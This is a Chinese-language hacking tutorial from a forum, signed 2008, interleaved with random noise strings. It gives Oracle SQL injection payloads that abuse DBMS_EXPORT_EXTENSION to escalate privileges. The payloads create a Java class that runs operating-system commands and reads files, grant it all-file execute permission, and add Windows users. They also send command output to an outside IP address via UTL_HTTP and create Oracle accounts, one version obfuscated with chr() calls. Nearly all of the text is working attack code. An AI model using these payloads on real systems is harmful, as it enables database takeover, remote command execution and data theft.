以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 + C1 _- Z+ G& g: q- p7 T
p$ t5 t2 \" G9 m1 d
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) - a. B2 N' W# f4 ^8 |7 W+ h6 i$ n" |
的形式即可。(用" 'a'|| "是为了让语句返回true值)
$ g7 ]- Q$ }: E$ }# x( u+ \' {/ t语句有点长,可能要用post提交。
+ `8 o( e, m! N$ D5 {" ^5 m以下是各个步骤: / ^4 o' @; e# N9 C9 R, J
1.创建包 0 l {% [7 e7 X8 b3 S
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:" M u' \/ B5 |4 ~9 |
/xxx.jsp?id=1 and '1'<>'a'||(
2 b) p" ?+ u/ _: pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 B+ S6 ] V1 O2 r+ ~. S5 R2 gcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(; x6 E+ c: Q' x5 z$ D
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}4 R+ ]: m, `4 j& b8 r6 _
}'''';END;'';END;--','SYS',0,'1',0) from dual
: J1 |6 }! K" P! P! [$ g% `+ @: E& \)
! P, I5 Q( M+ ?3 E------------------------
' Z' c+ @# y$ u9 f0 { N5 D6 L0 i如果url有长度限制,可以把readFile()函数块去掉,即: + |0 o, D3 u0 i3 F9 r# r J
/xxx.jsp?id=1 and '1'<>'a'||(
# Q$ J+ N/ ~+ T% A! J, j9 X- wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' `1 U5 v' i3 Y9 C2 r$ }
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(& g% C' @, z8 {0 ^
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}1 X8 G- E. j' W! l3 R/ t
}'''';END;'';END;--','SYS',0,'1',0) from dual # r# r8 _8 u; @) S$ E% B: E
) & |0 A0 N/ i6 S5 R1 @) o6 K
同时把后面步骤 提到的 对readFile()的处理语句去掉。
! O: d7 P8 V4 D* P------------------------------ + U8 X( @* t( I1 R8 D; l
2.赋Java权限 3 g \4 w" l' @ |6 R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
; E; k: X1 q( v4 }' M* ~" p, e3.创建函数 * x1 X1 X9 u, O* ?) G! J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ {# R( e7 q/ y" w, x6 R
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual! M" z1 C2 {. |, v& X5 _& i
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 K1 F' m2 f# S$ H! D. l7 g- d
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual! ], v6 @- j. j( J2 l9 w
4.赋public执行函数的权限 $ z% H2 L+ s* F; T, d- Q7 c4 s
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
/ k5 M- \5 |2 @) a" c8 J! dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual9 u( |6 i* \+ {( Z
5.测试上面的几步是否成功
: B( e5 w3 i- A: S% Xand '1'<>'11'||(
) W5 j' Q0 W, ]' Sselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 7 c% T; n* @2 v9 _2 N5 _# c& N0 j
) $ H. C% F( T& P; N3 ^1 q* ~
and '1'<>(
5 E* o( p" F6 W V) B- ]( e( I+ ^select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
1 _" Y- V% `; x4 d# })
\( E! D7 s& Y; U6 x/ E' n6.执行命令:
/ o; V" X2 D: h/xxx.jsp?id=1 and '1'<>( - n7 T! f* r3 V) Y- [. z
select sys.LinxRunCMD('cmd /c net user linx /add') from dual . W' k2 A# J" ]# r
N( L( J5 q! w% \# N0 b( H)
7 F1 O/ s( L( e" |8 f/xxx.jsp?id=1 and '1'<>( 7 T( E2 ^* G' Q9 g9 _; D, Y
select sys.LinxReadFile('c:/boot.ini') from dual4 |; }3 q9 p, l7 [7 t% z4 R
- j0 m8 _2 n+ f" L% [$ k): I6 A* j% M( E" @& B7 N' ^
& Q l2 j1 E+ q" i# y+ }* r
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
, H% r" V0 c% T如果要查看运行结果可以用 union : . _' w. Z- h/ w% x+ t M
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
6 g; i+ l) C7 u/ [6 y或者UTL_HTTP.request(: ! R: D' @ l! s4 `6 h+ R/ F/ L
/xxx.jsp?id=1 and '1'<>( $ U( V$ ^6 t8 y+ k) A8 P
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual6 h' n9 e& ?. B7 L- n% y
)
! S/ e) D) |7 b/xxx.jsp?id=1 and '1'<>(
, j. @0 }+ I+ dSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual: h6 O# ^! L9 [7 F6 i$ J
)
/ v* L( Q$ |: ~$ v6 j7 W$ D1 b, L注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。+ L1 v8 E# }) d
--------------------
! t! h$ Y. J3 \2 v5 D" E; u. u6.内部变化 ; B5 r! ]- `4 S3 _
通过以下命令可以查看all_objects表达改变: 4 } e3 R8 Y; \7 Q+ X: m7 D
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
/ O& x6 ]4 h$ {/ F/ F# s7.删除我们创建的函数 ; J3 |$ W: `% }) E, j5 B8 `6 E
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 R- h" L/ e" }! C2 `$ |" Y* d
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual 2 s. C) {! e: o5 D. j& D' D Q6 _
====================================================
/ ?7 c( b# Q U* |, L( h) I# v8 _$ Y全文结束。谨以此文赠与我的朋友。
8 S" G4 n% y) R3 _. |* Ilinx
, K. L. n6 f& A8 C/ ]0 J" C124829445
4 t. H$ M6 T# C* M2008.1.12
- c& A7 M5 e- N2 p' L0 ylinyujian@bjfu.edu.cn
$ C' J4 }3 b2 a# T! V====================================================================== ' B& L) H! A8 t
测试漏洞的另一方法: ]. @5 j/ u( {& _' H7 B( o7 A
创建oracle帐号:
- S+ P. }8 I7 k* p* {1 Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& M, S0 A+ b2 N9 f; n9 m! ?CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual9 N6 k9 a0 a: m" ~8 B
即: ! p2 J" t6 I! _9 r K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
% X, |7 O) S% I- n: z" `chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
7 `( s' R. U! @9 H& b1 F$ d A确定漏洞存在:
* _, o& O; m4 f$ T, e1<>(
- y( T& v" y2 e' Bselect user_id from all_users where username='LINXSQL' # `9 R7 y8 Y, q, \7 X+ g
) 3 _; d H* E# h
给linxsql连接权限: . W+ O8 Z2 u. d; X! @' k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( k$ w q: {9 y& ?) e' UGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual ; M2 [6 S: P f4 I
删除帐号:
5 R7 I& x9 m3 A( \5 u, h$ kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' ^ e+ h9 |* L& Q
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
6 a7 i8 |! \- i) o" a8 {======================
% V6 S- W/ {- e) k以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
. M, J. \' D' Y! W9 K; w# b. a1.jsp?id=1 and '1'<>(
$ E; W8 ?/ x, B7 Z5 v& f( `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 o7 B, d: f6 mcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual7 `% V" r* ` T- w4 R
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
$ G( R. D% c2 y, u9 j )$ Y0 Z5 c% A) O
8 U: R" @8 B: N* m% n
4 g2 q+ f* w( C: C+ `0 U, [* z$ F; u5 m+ `" G q8 E$ a5 v
|